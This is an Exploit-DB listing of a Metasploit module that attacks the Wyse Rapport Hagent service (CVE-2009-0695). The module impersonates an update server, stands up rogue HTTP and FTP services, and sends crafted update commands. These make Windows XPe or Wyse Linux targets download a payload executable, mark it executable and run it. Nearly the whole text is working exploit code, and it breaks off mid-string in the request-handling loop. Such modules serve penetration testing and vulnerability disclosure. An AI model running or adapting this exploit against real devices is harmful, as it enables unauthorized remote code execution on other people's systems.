Exploit-DB #9934
Description: Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2009-07-10
Author: kf

Exploit:
##
# $Id: hagent_untrusted_hsdata.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'timeout'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::FtpServer
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wyse Rapport Hagent Fake Hserver Command Execution',
			'Description'    => %q{
					This module exploits the Wyse Rapport Hagent service by pretending to
				be a legitimate server. This process involves starting both HTTP and
				FTP services on the attacker side, then contacting the Hagent service of
				the target and indicating that an update is available. The target will
				then download the payload wrapped in an executable from the FTP service.
			},
			'Stance'         => Msf::Exploit::Stance::Aggressive,
			'Author'         => 'kf',
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					['CVE', '2009-0695'],
					['OSVDB', '55839'],
					['US-CERT-VU', '654545'],
					['URL', 'http://snosoft.blogspot.com/'],
					['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'],
					['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'],
					['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2048,
					'BadChars' => '',
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Targets'        =>
				[
					[ 'Windows XPe x86',{'Platform' => 'win',}],
					[ 'Wyse Linux x86', {'Platform' => 'linux',}],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 10 2009'
		))

		register_options(
			[
				OptPort.new('SRVPORT',    [ true, "The local port to use for the FTP server", 21 ]),
				Opt::RPORT(80),
			], self.class)
	end


	def exploit

		if(datastore['SRVPORT'].to_i != 21)
			print_error("This exploit requires the FTP service to run on port 21")
			return
		end

		# Connect to the target service
		print_status("Connecting to the target")
		connect()

		# Start the FTP service
		print_status("Starting the FTP server")
		start_service()

		# Create the executable with our payload
		print_status("Generating the EXE")
		@exe_file = generate_payload_exe
		if target['Platform'] == 'win'
			maldir      = "C:\\"  		# Windows
			malfile     = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe"
			co = "XP"
		elsif  target['Platform'] == 'linux'
			maldir      = "//tmp//"		# Linux
			malfile     = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin"
			co = "LXS"
		end
		@exe_sent = false

		# Start the HTTP service
		print_status("Starting the HTTP service")
		wdmserver  = Rex::Socket::TcpServer.create({
			'Context'   => {
				'Msf'        => framework,
				'MsfExploit' => self
			}
		})

		# Let this close automatically
		add_socket(wdmserver)

		wdmserver_port = wdmserver.getsockname[2]
		print_status("Starting the HTTP service on port #{wdmserver_port}")


		fakerapport = Rex::Socket.source_address(rhost)
		fakemac     = "00" + Rex::Text.rand_text(5).unpack("H*")[0]
		mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"

		# FTP Credentials
		ftpserver = Rex::Socket.source_address(rhost)
		ftpuser   = Rex::Text.rand_text_alphanumeric(rand(8)+1)
		ftppass   = Rex::Text.rand_text_alphanumeric(rand(8)+1)
		ftpport   = 21
		ftpsecure = '0'

		incr = 10
		pwn1 =
			"&UP0|&SI=1|UR=9" +
			"|CO \x0f#{co}\x0f|#{incr}" +
			# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
			"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}"

		pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}"

		pwn3 =
			"|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
			# "|RB|#{incr+1}" +
			# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
			#"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
			# FTP Paramaters
			"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" +
				"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
			"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" +
				"|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
			# No clue
			"|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"

		if target['Platform'] == 'win'
			pwn = pwn1 + pwn3
		elsif target['Platform'] == 'linux'
			pwn = pwn1 + pwn2 + pwn3
		end
		# Send the malicious request
		sock.put(mal)

		# Download some response data
		resp = sock.get_once(-1, 10)
		print_status("Received: #{resp}")

		if not resp
			print_error("No reply from the target, this may not be a vulnerable system")
			return
		end

		print_status("Waiting on a connection to the HTTP service")
		begin
			Timeout.timeout(190) do
				done = false
				while (not done and session = wdmserver.accept)
					req = session.recvfrom(2000)[0]
					next if not req
					next if req.empty?
					print_status("HTTP Request: #{req.split("\n")[0].strip}")

					case req
					when /V01/
						print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
						res = pwn
					when /V02/
						print_status("++ device sending V02 query...")
						res  = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"
						done = true

					when /V55/
						print_status("++ device sending V55 quer